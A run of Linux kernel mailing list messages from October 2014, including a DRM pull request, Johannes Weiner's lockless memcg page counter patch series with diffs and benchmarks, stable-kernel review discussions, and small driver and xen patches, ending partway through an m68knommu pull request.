ipuv3: prep work for capture support msm: LVDS support for mdp4, new panel, gpu refactoring exynos: exynos3250 SoC support, drop bad mmap interface, mipi dsi changes, and component match support. Dave. The following changes since commit 9e82bf014195d6f0054982c463575cdce24292be: Linux 3.17-rc5 (2014-09-14 17:50:12 -0700) are available in the git repository at: git://people.freedesktop.org/~airlied/linux drm-next for you to fetch changes up to dfda0df3426483cf5fc7441f23f318edbabecb03: drm/mst: rework payload table allocation to conform better. (2014-10-13 14:40:53 +1000) Alex Deucher (18): drm/radeon: add set_uvd_clocks callback for r6xx v4 drm/radeon: 760G/780V/880V don't have UVD drm/radeon: add RADEON_GEM_NO_CPU_ACCESS BO creation flag (v4) drm/radeon: fix register name to match internal name drm/radeon: consolidate duplicate encode is digital function drm/radeon: consolidate r600_audio.c into r600_hdmi.c drm/radeon: split audio enable between eg and r600 (v2) drm/radeon: disable audio when we disable hdmi (v2) drm/radeon/dpm: drop clk/voltage dependency filters for NI drm/radeon/dpm: drop clk/voltage dependency filters for SI drm/radeon/dpm: drop clk/voltage dependency filters for CI drm/radeon/dpm: drop clk/voltage dependency filters for BTC drm/radeon: drop btc_get_max_clock_from_voltage_dependency_table drm/radeon: remove unecessary includes drm/radeon/si: print full CS when we hit a packet 0 drm/radeon/cik: write gfx ucode version to ucode addr reg drm/radeon/ci: add uvd/vce info to dpm debugfs output drm/radeon/kv: add uvd/vce info to dpm debugfs output Andreas Pokorny (2): drm/qxl: simple crtc page flipping emulated using buffer copy drm/qxl: enables gem prime helpers for qxl using dummy driver callbacks Andrzej Hajda (27): drm/exynos/ipp: remove fake pm callbacks drm/exynos/ipp: cancel works before command node clean drm/exynos/ipp: move file reference from memory to command node drm/exynos/ipp: remove only related commands on file close drm/exynos/ipp: remove unused field in command node drm/exynos/ipp: free partially allocated resources on error drm/exynos/ipp: move nodes cleaning to separate function drm/exynos/ipp: clean memory nodes on command node cleaning drm/exynos/ipp: replace work_struct casting with better constructs drm/exynos/ipp: stop hardware before freeing memory drm/exynos/ipp: remove events during command cleaning drm/exynos/fimc: avoid clearing overflow bits drm/exynos/fimc: do not enable fimc twice drm/exynos/fimc: simplify buffer queuing drm/exynos/fimc: fix source buffer registers drm/exynos/ipp: remove file argument from node related functions drm/exynos/ipp: add file checks for ioctls drm/exynos/ipp: traverse ipp drivers list safely drm/exynos: fix drm driver de-initialization order drm/exynos/fbdev: fix fbdev gem object cleanup drm/exynos/fb: free exynos framebuffer on error drm/exynos/dsi: unregister connector on removal drm/exynos/dpi: unregister connector and panel on removal drm/exynos/dp: unregister connector on removal drm/exynos/hdmi: unregister connector on removal drm/exynos: switch to universal plane API drm/core: use helper to check driver features Andy Shevchenko (1):
RE: [PATCH 2/6] regmap: cache: cleanup regcache_hw_init().
Hi Mark, > Subject: Re: [PATCH 2/6] regmap: cache: cleanup regcache_hw_init(). > > On Thu, Oct 09, 2014 at 05:02:53PM +0800, Xiubo Li wrote: > > Remove the redundant code for regmap cache. > > Applied, thanks. With changes like this it is much better if the > changelog explains why the code is redundant - say in words that the > value used is never referenced and looking up the value has no side > effects. Thanks vey much for your comment and your always patient guidance. BRs Xiubo -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.13 163/163] lzo: check for length overrun in variable length encoding.
On Mon, Oct 13, 2014 at 10:31:03AM -0700, Kamal Mostafa wrote: > On Fri, 2014-10-10 at 07:30 +0200, Willy Tarreau wrote: > > Hi Kamal, > > > > [ removed Don Bailey from the CC who's certainly not interested in this ] > > > > On Thu, Oct 09, 2014 at 02:03:08PM -0700, Kamal Mostafa wrote: > > > 3.13.11.9 -stable review patch. If anyone has any objections, please let > > > me know. > > > > > > -- > > > > > > From: Willy Tarreau > > > > > > commit 72cf90124e87d975d0b2114d930808c58b4c05e4 upstream. > > > > (...) > > Hi Willy- > > Thanks very much for reviewing this. > > > This one (and the accompanying revert) are still not present in more > > recent stable kernels, so I find it surprizing that you're proposing > > to integrate them now. > > I can hold out those lzo fixes until the next 3.13-stable if you prefer. Please do so. > But fwiw... > > > If someone upgrades from 3.13.11.9 to 3.14.21 > > or 3.16.5, they'd expect to keep all fixes but will lose this one, so > > this is a bit confusing. > > I think those sorts of scheduling mismatches and discrepancies between > stable versions are pretty common. Examples: The top 11 commits in > v3.12.30 have not yet been applied[0] to any of the newer stable > branches; Those -mm patches from Mel are "special", I'm taking it slow in merging them, doing lots of local testing and code review, and not all of them even are relevant for 3.14, so don't take the acceptance / non-acceptance of them as any kind of "proof" of anything at all. > Many of the commits in v3.10.57 have not yet been applied[1] > to linux-3.12.y but have been released in other newer stables. That's because I am ahead of Jiri, which will almost always happen due to our different workflows and time available to spend on stable kernels. > > Is there any reason you're not tracking fixes > > from more recent versions like Jiri, Li, Ben and I are doing ? > > We (the Canonical stable maintainers) have always tracked the "cc: > stable" fixes directly from mainline, not from the more-recent-version > branches. Given the examples above, it seems that the kernel.org > maintainers are doing that too, yes? You have included patches in your release that are not in _any_ public release on kernel.org yet. Which is fine, you are allowed to do whatever you want, but that goes against the existing rules of stable patches that we have been following for well over the past year for when it is acceptable to add a patch to a stable release. Yet another reason I _strongly_ urge you to mark your kernels with some type of "name" to help reduce the confusion of others that your kernels might be somehow associated with kernel.org releases. greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] lib/raid6: Add log level to printks
On Mon, 13 Oct 2014 23:03:16 +1100 Anton Blanchard wrote:
>
> Signed-off-by: Anton Blanchard
> ---
>
> Index: b/lib/raid6/algos.c
> ===
> --- a/lib/raid6/algos.c
> +++ b/lib/raid6/algos.c
> @@ -121,9 +121,9 @@ static inline const struct raid6_recov_c
> raid6_2data_recov = best->data2;
> raid6_datap_recov = best->datap;
>
> - printk("raid6: using %s recovery algorithm\n", best->name);
> + pr_info("raid6: using %s recovery algorithm\n", best->name);
> } else
> - printk("raid6: Yikes! No recovery algorithm found!\n");
> + pr_err("raid6: Yikes! No recovery algorithm found!\n");
>
> return best;
> }
> @@ -157,18 +157,18 @@ static inline const struct raid6_calls *
> bestperf = perf;
> best = *algo;
> }
> - printk("raid6: %-8s %5ld MB/s\n", (*algo)->name,
> + pr_info("raid6: %-8s %5ld MB/s\n", (*algo)->name,
> (perf*HZ) >> (20-16+RAID6_TIME_JIFFIES_LG2));
> }
> }
>
> if (best) {
> - printk("raid6: using algorithm %s (%ld MB/s)\n",
> + pr_info("raid6: using algorithm %s (%ld MB/s)\n",
> best->name,
> (bestperf*HZ) >> (20-16+RAID6_TIME_JIFFIES_LG2));
> raid6_call = *best;
> } else
> - printk("raid6: Yikes! No algorithm found!\n");
> + pr_err("raid6: Yikes! No algorithm found!\n");
>
> return best;
> }
> @@ -194,7 +194,7 @@ int __init raid6_select_algo(void)
> syndromes = (void *) __get_free_pages(GFP_KERNEL, 1);
>
> if (!syndromes) {
> - printk("raid6: Yikes! No memory available.\n");
> + pr_err("raid6: Yikes! No memory available.\n");
> return -ENOMEM;
> }
>
Applied - thanks.
NeilBrown
pgptb5hxMgVQw.pgp
Description: OpenPGP digital signature
[patch 0/3] mm: memcontrol: lockless page counters v3
Hi, this series replaces the spinlock_irq-protected 64-bit res_counters with lockless word-sized page counters. This improves memory cgroup scalability on the higher end and gets rid of 64-bit math on 32-bit machines in the core accounting, but also generally simplifies the counter code and interface. Version 3 has a few more touch-ups based on reviews from Michal and Vladimir: - documented ordering between limit() and try_charge() [vladimir] - removed charge revert during uncharge underflow [michal] - reworked limit update code flow [michal] - removed rounding-up in limit setting [michal] - fixed mem_cgroup_margin() memsw calculation [michal] - updated page_counter raciness comments [vladimir] Version 2: cleanups: - moved new page_counter API to its own file [vladimir, michal] - documented page counter API [vladimir] - documented acceptable race conditions [vladimir] - split out res_counter removal to reduce patch size [vladimir] - split out hugetlb controller conversion to reduce patch size - split page_counter_charge and page_counter_try_charge [vladimir] - wrapped signed-to-unsigned read in page_counter_read() [vladimir] - wrapped watermark reset in page_counter_reset_watermark() [vladimir] - reverted counter->limited back to counter->failcnt [vladimir] - changed underflow to WARN_ON_ONCE and counter revert [kame, vladimir] fixes: - fixed kmem's value for unlimited [vladimir] - fixed page_counter_cancel() return value [vladimir] - based page counter range on atomic_long_t's max [vladimir] - fixed tcp memcontrol's usage reporting [vladimir] - fixed hugepage limit page alignment [vladimir] - fixed page_counter_limit() serialization [vladimir] optimizations: - converted page_counter_try_charge() from CAS to FAA [vladimir] Documentation/cgroups/hugetlb.txt | 2 +- Documentation/cgroups/memory.txt | 4 +- Documentation/cgroups/resource_counter.txt | 197 - include/linux/hugetlb_cgroup.h | 1 - include/linux/memcontrol.h | 5 +- include/linux/page_counter.h | 49 +++ include/linux/res_counter.h| 223 -- include/net/sock.h | 26 +- init/Kconfig | 12 +- kernel/Makefile| 1 - kernel/res_counter.c | 211 - mm/Makefile| 1 + mm/hugetlb_cgroup.c| 103 +++-- mm/memcontrol.c| 633 +-- mm/page_counter.c | 203 + net/ipv4/tcp_memcontrol.c | 87 ++-- 16 files changed, 669 insertions(+), 1089 deletions(-) -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[patch 2/3] mm: hugetlb_cgroup: convert to lockless page counters
Abandon the spinlock-protected byte counters in favor of the unlocked
page counters in the hugetlb controller as well.
Signed-off-by: Johannes Weiner
Reviewed-by: Vladimir Davydov
Acked-by: Michal Hocko
---
Documentation/cgroups/hugetlb.txt | 2 +-
include/linux/hugetlb_cgroup.h| 1 -
init/Kconfig | 3 +-
mm/hugetlb_cgroup.c | 103 +-
4 files changed, 61 insertions(+), 48 deletions(-)
diff --git a/Documentation/cgroups/hugetlb.txt
b/Documentation/cgroups/hugetlb.txt
index a9faaca1f029..106245c3aecc 100644
--- a/Documentation/cgroups/hugetlb.txt
+++ b/Documentation/cgroups/hugetlb.txt
@@ -29,7 +29,7 @@ Brief summary of control files
hugetlb..limit_in_bytes # set/show limit of "hugepagesize"
hugetlb usage
hugetlb..max_usage_in_bytes # show max "hugepagesize" hugetlb
usage recorded
- hugetlb..usage_in_bytes # show current res_counter usage
for "hugepagesize" hugetlb
+ hugetlb..usage_in_bytes # show current usage for
"hugepagesize" hugetlb
hugetlb..failcnt # show the number of
allocation failure due to HugeTLB limit
For a system supporting two hugepage size (16M and 16G) the control
diff --git a/include/linux/hugetlb_cgroup.h b/include/linux/hugetlb_cgroup.h
index 0129f89cf98d..bcc853eccc85 100644
--- a/include/linux/hugetlb_cgroup.h
+++ b/include/linux/hugetlb_cgroup.h
@@ -16,7 +16,6 @@
#define _LINUX_HUGETLB_CGROUP_H
#include
-#include
struct hugetlb_cgroup;
/*
diff --git a/init/Kconfig b/init/Kconfig
index 3fc577e9de75..d07a1c78d4e7 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1058,7 +1058,8 @@ config MEMCG_KMEM
config CGROUP_HUGETLB
bool "HugeTLB Resource Controller for Control Groups"
- depends on RESOURCE_COUNTERS && HUGETLB_PAGE
+ depends on HUGETLB_PAGE
+ select PAGE_COUNTER
default n
help
Provides a cgroup Resource Controller for HugeTLB pages.
diff --git a/mm/hugetlb_cgroup.c b/mm/hugetlb_cgroup.c
index a67c26e0f360..037e1c00a5b7 100644
--- a/mm/hugetlb_cgroup.c
+++ b/mm/hugetlb_cgroup.c
@@ -14,6 +14,7 @@
*/
#include
+#include
#include
#include
#include
@@ -23,7 +24,7 @@ struct hugetlb_cgroup {
/*
* the counter to account for hugepages from hugetlb.
*/
- struct res_counter hugepage[HUGE_MAX_HSTATE];
+ struct page_counter hugepage[HUGE_MAX_HSTATE];
};
#define MEMFILE_PRIVATE(x, val)(((x) << 16) | (val))
@@ -60,7 +61,7 @@ static inline bool hugetlb_cgroup_have_usage(struct
hugetlb_cgroup *h_cg)
int idx;
for (idx = 0; idx < hugetlb_max_hstate; idx++) {
- if ((res_counter_read_u64(_cg->hugepage[idx], RES_USAGE)) > 0)
+ if (page_counter_read(_cg->hugepage[idx]))
return true;
}
return false;
@@ -79,12 +80,12 @@ hugetlb_cgroup_css_alloc(struct cgroup_subsys_state
*parent_css)
if (parent_h_cgroup) {
for (idx = 0; idx < HUGE_MAX_HSTATE; idx++)
- res_counter_init(_cgroup->hugepage[idx],
-_h_cgroup->hugepage[idx]);
+ page_counter_init(_cgroup->hugepage[idx],
+ _h_cgroup->hugepage[idx]);
} else {
root_h_cgroup = h_cgroup;
for (idx = 0; idx < HUGE_MAX_HSTATE; idx++)
- res_counter_init(_cgroup->hugepage[idx], NULL);
+ page_counter_init(_cgroup->hugepage[idx], NULL);
}
return _cgroup->css;
}
@@ -108,9 +109,8 @@ static void hugetlb_cgroup_css_free(struct
cgroup_subsys_state *css)
static void hugetlb_cgroup_move_parent(int idx, struct hugetlb_cgroup *h_cg,
struct page *page)
{
- int csize;
- struct res_counter *counter;
- struct res_counter *fail_res;
+ unsigned int nr_pages;
+ struct page_counter *counter;
struct hugetlb_cgroup *page_hcg;
struct hugetlb_cgroup *parent = parent_hugetlb_cgroup(h_cg);
@@ -123,15 +123,15 @@ static void hugetlb_cgroup_move_parent(int idx, struct
hugetlb_cgroup *h_cg,
if (!page_hcg || page_hcg != h_cg)
goto out;
- csize = PAGE_SIZE << compound_order(page);
+ nr_pages = 1 << compound_order(page);
if (!parent) {
parent = root_h_cgroup;
/* root has no limit */
- res_counter_charge_nofail(>hugepage[idx],
- csize, _res);
+ page_counter_charge(>hugepage[idx], nr_pages);
}
counter = _cg->hugepage[idx];
- res_counter_uncharge_until(counter, counter->parent, csize);
+ /* Take the pages off the local counter */
+ page_counter_cancel(counter, nr_pages);
set_hugetlb_cgroup(page, parent);
out:
@@ -166,9 +166,8 @@ int
[patch 1/3] mm: memcontrol: lockless page counters
Memory is internally accounted in bytes, using spinlock-protected 64-bit counters, even though the smallest accounting delta is a page. The counter interface is also convoluted and does too many things. Introduce a new lockless word-sized page counter API, then change all memory accounting over to it. The translation from and to bytes then only happens when interfacing with userspace. The removed locking overhead is noticable when scaling beyond the per-cpu charge caches - on a 4-socket machine with 144-threads, the following test shows the performance differences of 288 memcgs concurrently running a page fault benchmark: vanilla: 18631648.500498 task-clock (msec) # 140.643 CPUs utilized ( +- 0.33% ) 1,380,638 context-switches #0.074 K/sec ( +- 0.75% ) 24,390 cpu-migrations#0.001 K/sec ( +- 8.44% ) 1,843,305,768 page-faults #0.099 M/sec ( +- 0.00% ) 50,134,994,088,218 cycles#2.691 GHz ( +- 0.33% ) stalled-cycles-frontend stalled-cycles-backend 8,049,712,224,651 instructions #0.16 insns per cycle ( +- 0.04% ) 1,586,970,584,979 branches # 85.176 M/sec ( +- 0.05% ) 1,724,989,949 branch-misses #0.11% of all branches ( +- 0.48% ) 132.474343877 seconds time elapsed ( +- 0.21% ) lockless: 12195979.037525 task-clock (msec) # 133.480 CPUs utilized ( +- 0.18% ) 832,850 context-switches #0.068 K/sec ( +- 0.54% ) 15,624 cpu-migrations#0.001 K/sec ( +- 10.17% ) 1,843,304,774 page-faults #0.151 M/sec ( +- 0.00% ) 32,811,216,801,141 cycles#2.690 GHz ( +- 0.18% ) stalled-cycles-frontend stalled-cycles-backend 9,999,265,091,727 instructions #0.30 insns per cycle ( +- 0.10% ) 2,076,759,325,203 branches # 170.282 M/sec ( +- 0.12% ) 1,656,917,214 branch-misses #0.08% of all branches ( +- 0.55% ) 91.369330729 seconds time elapsed ( +- 0.45% ) On top of improved scalability, this also gets rid of the icky long long types in the very heart of memcg, which is great for 32 bit and also makes the code a lot more readable. Notable differences between the old and new API: - res_counter_charge() and res_counter_charge_nofail() become page_counter_try_charge() and page_counter_charge() resp. to match the more common kernel naming scheme of try_do()/do() - res_counter_uncharge_until() is only ever used to cancel a local counter and never to uncharge bigger segments of a hierarchy, so it's replaced by the simpler page_counter_cancel() - res_counter_set_limit() is replaced by page_counter_limit(), which expects its callers to serialize against themselves - res_counter_memparse_write_strategy() is replaced by page_counter_limit(), which rounds down to the nearest page size - rather than up. This is more reasonable for explicitely requested hard upper limits. - to keep charging light-weight, page_counter_try_charge() charges speculatively, only to roll back if the result exceeds the limit. Because of this, a failing bigger charge can temporarily lock out smaller charges that would otherwise succeed. The error is bounded to the difference between the smallest and the biggest possible charge size, so for memcg, this means that a failing THP charge can send base page charges into reclaim upto 2MB (4MB) before the limit would have been reached. This should be acceptable. Signed-off-by: Johannes Weiner --- Documentation/cgroups/memory.txt | 4 +- include/linux/memcontrol.h | 5 +- include/linux/page_counter.h | 49 +++ include/net/sock.h | 26 +- init/Kconfig | 5 +- mm/Makefile | 1 + mm/memcontrol.c | 633 ++- mm/page_counter.c| 203 + net/ipv4/tcp_memcontrol.c| 87 +++--- 9 files changed, 609 insertions(+), 404 deletions(-) create mode 100644 include/linux/page_counter.h create mode 100644 mm/page_counter.c diff --git a/Documentation/cgroups/memory.txt b/Documentation/cgroups/memory.txt index 02ab997a1ed2..f624727ab404 100644 --- a/Documentation/cgroups/memory.txt +++ b/Documentation/cgroups/memory.txt @@ -52,9 +52,9 @@ Brief summary of control files. tasks # attach a task(thread)
[patch 3/3] kernel: res_counter: remove the unused API
All memory accounting and limiting has been switched over to the lockless page counters. Bye, res_counter! Signed-off-by: Johannes Weiner Acked-by: Vladimir Davydov Acked-by: Michal Hocko --- Documentation/cgroups/resource_counter.txt | 197 - include/linux/res_counter.h| 223 - init/Kconfig | 6 - kernel/Makefile| 1 - kernel/res_counter.c | 211 --- 5 files changed, 638 deletions(-) delete mode 100644 Documentation/cgroups/resource_counter.txt delete mode 100644 include/linux/res_counter.h delete mode 100644 kernel/res_counter.c diff --git a/Documentation/cgroups/resource_counter.txt b/Documentation/cgroups/resource_counter.txt deleted file mode 100644 index 762ca54eb929.. --- a/Documentation/cgroups/resource_counter.txt +++ /dev/null @@ -1,197 +0,0 @@ - - The Resource Counter - -The resource counter, declared at include/linux/res_counter.h, -is supposed to facilitate the resource management by controllers -by providing common stuff for accounting. - -This "stuff" includes the res_counter structure and routines -to work with it. - - - -1. Crucial parts of the res_counter structure - - a. unsigned long long usage - - The usage value shows the amount of a resource that is consumed - by a group at a given time. The units of measurement should be - determined by the controller that uses this counter. E.g. it can - be bytes, items or any other unit the controller operates on. - - b. unsigned long long max_usage - - The maximal value of the usage over time. - - This value is useful when gathering statistical information about - the particular group, as it shows the actual resource requirements - for a particular group, not just some usage snapshot. - - c. unsigned long long limit - - The maximal allowed amount of resource to consume by the group. In - case the group requests for more resources, so that the usage value - would exceed the limit, the resource allocation is rejected (see - the next section). - - d. unsigned long long failcnt - - The failcnt stands for "failures counter". This is the number of - resource allocation attempts that failed. - - c. spinlock_t lock - - Protects changes of the above values. - - - -2. Basic accounting routines - - a. void res_counter_init(struct res_counter *rc, - struct res_counter *rc_parent) - - Initializes the resource counter. As usual, should be the first - routine called for a new counter. - - The struct res_counter *parent can be used to define a hierarchical - child -> parent relationship directly in the res_counter structure, - NULL can be used to define no relationship. - - c. int res_counter_charge(struct res_counter *rc, unsigned long val, - struct res_counter **limit_fail_at) - - When a resource is about to be allocated it has to be accounted - with the appropriate resource counter (controller should determine - which one to use on its own). This operation is called "charging". - - This is not very important which operation - resource allocation - or charging - is performed first, but - * if the allocation is performed first, this may create a - temporary resource over-usage by the time resource counter is - charged; - * if the charging is performed first, then it should be uncharged - on error path (if the one is called). - - If the charging fails and a hierarchical dependency exists, the - limit_fail_at parameter is set to the particular res_counter element - where the charging failed. - - d. u64 res_counter_uncharge(struct res_counter *rc, unsigned long val) - - When a resource is released (freed) it should be de-accounted - from the resource counter it was accounted to. This is called - "uncharging". The return value of this function indicate the amount - of charges still present in the counter. - - The _locked routines imply that the res_counter->lock is taken. - - e. u64 res_counter_uncharge_until - (struct res_counter *rc, struct res_counter *top, -unsigned long val) - - Almost same as res_counter_uncharge() but propagation of uncharge - stops when rc == top. This is useful when kill a res_counter in - child cgroup. - - 2.1 Other accounting routines - -There are more routines that may help you with common needs, like -checking whether the limit is reached or resetting the max_usage -value. They are all declared in include/linux/res_counter.h. - - - -3. Analyzing the resource counter registrations - - a. If the failcnt value constantly grows, this means that the counter's -limit is
RE: [PATCH v7 08/10] x86, mpx: add prctl commands PR_MPX_REGISTER, PR_MPX_UNREGISTER
On 2014-10-14, Hansen, Dave wrote: > On 07/20/2014 11:09 PM, Andi Kleen wrote: >> Qiaowei Ren writes: >>> This patch adds the PR_MPX_REGISTER and PR_MPX_UNREGISTER prctl() >>> commands. These commands can be used to register and unregister MPX >>> related resource on the x86 platform. >> >> Please provide a manpage for the API. This is needed for proper >> review. Your description is far too vague. > > Qiaowei, have you written this manpage yet? I see the new patches, > but no manpage yet. It will be added into subsequent version or another mainline patchset. Thanks, Qiaowei -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On Mon, Oct 13, 2014 at 08:23:19AM -0500, Chuck Ebbert wrote: > Stalls when using nohz, requires series of six patches to fix that > didn't make 3.17 and weren't marked for -stable: > > From a80e49e2cc3145af014a8ae44f575829cc236192 Mon Sep 17 00:00:00 2001 > From: Frederic Weisbecker > Subject: nohz: Move nohz full init call to tick init > > From c5c38ef3d70377dc504a6a3f611a3ec814bc757b Mon Sep 17 00:00:00 2001 > From: Peter Zijlstra > Subject: irq_work: Introduce arch_irq_work_has_interrupt() > > From 76a33061b9323b7fdb220ae5fa116c10833ec22e Mon Sep 17 00:00:00 2001 > From: Frederic Weisbecker > Subject: irq_work: Force raised irq work to run on irq work interrupt > > From 3010279f0fc36f0388872203e63ca49912f648fd Mon Sep 17 00:00:00 2001 > From: Frederic Weisbecker > Subject: x86: Tell irq work about self IPI support > > From 09f6edd424218eb69078551b2ecfada1f2d098eb Mon Sep 17 00:00:00 2001 > From: Frederic Weisbecker > Subject: arm: Tell irq work about self IPI support I have all of these in 3.17.1-rc1. > From 3631073659d0aafeaa52227bb61a100efaf901dc Mon Sep 17 00:00:00 2001 > From: Frederic Weisbecker > Subject: arm64: Tell irq work about self IPI support This one I missed, probably because no one actually has a arm64 machine that is "public" :) I'll go queue that one up now, thanks. greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On Mon, Oct 13, 2014 at 05:03:46PM -0400, George Spelvin wrote:
> Romain Francoise wrote:
> > Commit 1c40279960 ("libata: Un-break ATA blacklist") is apparently not
> > included, is in Linus' tree since Friday, and is rather urgent.
>
> As the patch author, I agree. If nothing else, I'd like to be able to take
> off this brown paper bag.
Now queued up.
thanks,
greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH 1/1 v2] driver:mtd:spi-nor:fix spi_nor_scan overwrite platform ID point
This patch used to modify the method of spi_nor_scan overwrite platform ID
point.
If type of platform data match with the name of spi_nor_ids set,
and JEDEC ID also match with INFO ID of spi_nor_ids set,spi device
ID point(this is before probed according to device name) shouldn't be
overwrote.Otherwise,this point will be overwrote by new spi_nor_ids
set point that probed according to JEDEC ID.
Signed-off-by: bean huo
---
v1-v2:
add extended ID match judgment.
drivers/mtd/spi-nor/spi-nor.c | 25 -
1 file changed, 16 insertions(+), 9 deletions(-)
diff --git a/drivers/mtd/spi-nor/spi-nor.c b/drivers/mtd/spi-nor/spi-nor.c
index b5ad6be..3bb8077 100644
--- a/drivers/mtd/spi-nor/spi-nor.c
+++ b/drivers/mtd/spi-nor/spi-nor.c
@@ -963,16 +963,23 @@ int spi_nor_scan(struct spi_nor *nor, const struct
spi_device_id *id,
return PTR_ERR(jid);
} else if (jid != id) {
/*
-* JEDEC knows better, so overwrite platform ID. We
-* can't trust partitions any longer, but we'll let
-* mtd apply them anyway, since some partitions may be
-* marked read-only, and we don't want to lose that
-* information, even if it's not 100% accurate.
+* If type of platform data match with the name of
+* spi_nor_ids set,and JEDEC ID also match with
+* INFO ID of spi_nor_ids set,shouldn't overwrite
+* spi device info point.Otherwise,will overwrite
+* it.
*/
- dev_warn(dev, "found %s, expected %s\n",
-jid->name, id->name);
- id = jid;
- info = (void *)jid->driver_data;
+ struct flash_info *tmpinfo;
+
+ tmpinfo = (void *)jid->driver_data;
+ if (tmpinfo->jedec_id != info->jedec_id ||
+ (info->ext_id != 0 &&
+tmpinfo->ext_id != info->ext_id)) {
+ dev_warn(dev, "found %s, expected %s\n",
+ jid->name, id->name);
+ id = jid;
+ info = (void *)jid->driver_data;
+ }
}
}
--
1.7.9.5
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On Mon, Oct 13, 2014 at 05:25:14PM +0200, Linus Torvalds wrote: > On Mon, Oct 13, 2014 at 1:28 PM, Henrique de Moraes Holschuh > wrote: > > > > I am not complaining that the patch hasn't made it to 3.17.1 (or even > > mainline) yet. > > Hmm. It's been in mainline.since last Friday, afaik. Now queued up, thanks. greg k-h -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
RE: [PATCH v2 1/4] dwc3: exynos: Add support for SCLK present on Exynos7
Hello, > Hi Anton, > > On 13.10.2014 06:54, Anton Tikhomirov wrote: > > Hi Vivek, > > > >> Exynos7 also has a separate special gate clock going to the IP > >> apart from the usual AHB clock. So add support for the same. > > > > As we discussed before, Exynos7 SoCs have 7 clocks to be controlled > > by the driver. Adding only sclk is not enough. > > > > I'm quite interested in this discussion. Has it happened on mailing > lists? No, we used company messenger for the discussion. > > In general, previous SoCs also gave the possibility of controlling all > the bus clocks separately, in addition to bulk gates, but there was no correct > real advantage in using those, while burdening the clock tree with > numerous clocks. Isn't Exynos7 similar in this aspect? Exynos7 doesn't have "Gating all clocks for USBDRD30" bit. The clocks should be controlled separately. > > Best regards, > Tomasz > -- > To unsubscribe from this list: send the line "unsubscribe linux-usb" in > the body of a message to majord...@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
[PATCH] xen/setup: add paranoid index check and warning
In a call to set_phys_range_identity, i-1 is used without checking that i is non-zero. Although unlikely, a bug in the code before it could cause the value to be 0, leading to erroneous behavior. This patch adds a check against 0 value and a corresponding warning. Signed-off-by: Martin Kelly --- arch/x86/xen/setup.c | 5 - 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/arch/x86/xen/setup.c b/arch/x86/xen/setup.c index af72161..26e39af 100644 --- a/arch/x86/xen/setup.c +++ b/arch/x86/xen/setup.c @@ -671,7 +671,10 @@ char * __init xen_memory_setup(void) * PFNs above MAX_P2M_PFN are considered identity mapped as * well. */ - set_phys_range_identity(map[i-1].addr / PAGE_SIZE, ~0ul); + if (i > 0) + set_phys_range_identity(map[i-1].addr / PAGE_SIZE, ~0ul); + else + WARN(1, "Something went wrong clamping memory to a factor of EXTRA_MEM_RATIO!"); /* * In domU, the ISA region is normal, usable memory, but we -- 2.1.1 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [RESUBMIT PATCH v4 7/8] regulator: sky81452: Add compatible string for device binding
On Mon, Oct 13, 2014 at 12:35:12PM +0200, Mark Brown wrote:
> On Mon, Oct 13, 2014 at 02:47:41PM +0900, Gyungoh Yoo wrote:
>
> > - np = of_get_child_by_name(dev->parent->of_node, "regulator");
> > - if (unlikely(!np)) {
> > + if (!np) {
> > dev_err(dev, "regulator node not found");
> > - return NULL;
> > + return ERR_PTR(-ENODATA);
> > }
>
> If you're doing anything here you should convert the code to use the
> simplified interface for parsing regulator data based on putting the
> subnode name and regualtor name in the regulator descriptor.
Thank you for the review.
The driver has of_device_id.
static const struct of_device_id sky81452_reg_of_match[] = {
{ .compatible = "skyworks,sky81452-regulator", },
{ }
};
And the MFD adds the driver with of_compatible="skyworks,sky81452-regulator".
MFD core maps the device node and the regulator driver does
not need to parse the subnode name.
Thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[git pull] m68knommu arch fixes for 3.18
Hi Linus,
Can you please pull the m68knommu git tree, for-next branch.
The major change is to remove the arch/m68k/platform directory. The coldfire
(and other non-mmu m68k platform) code is moved to the arch/m68k level, making
them consistent with the traditional m68k platforms. A couple of other minor
miscellaneous fixes as well.
Regards
Greg
The following changes since commit fe82dcec644244676d55a1384c958d5f67979adb:
Linux 3.17-rc7 (2014-09-28 14:29:07 -0700)
are available in the git repository at:
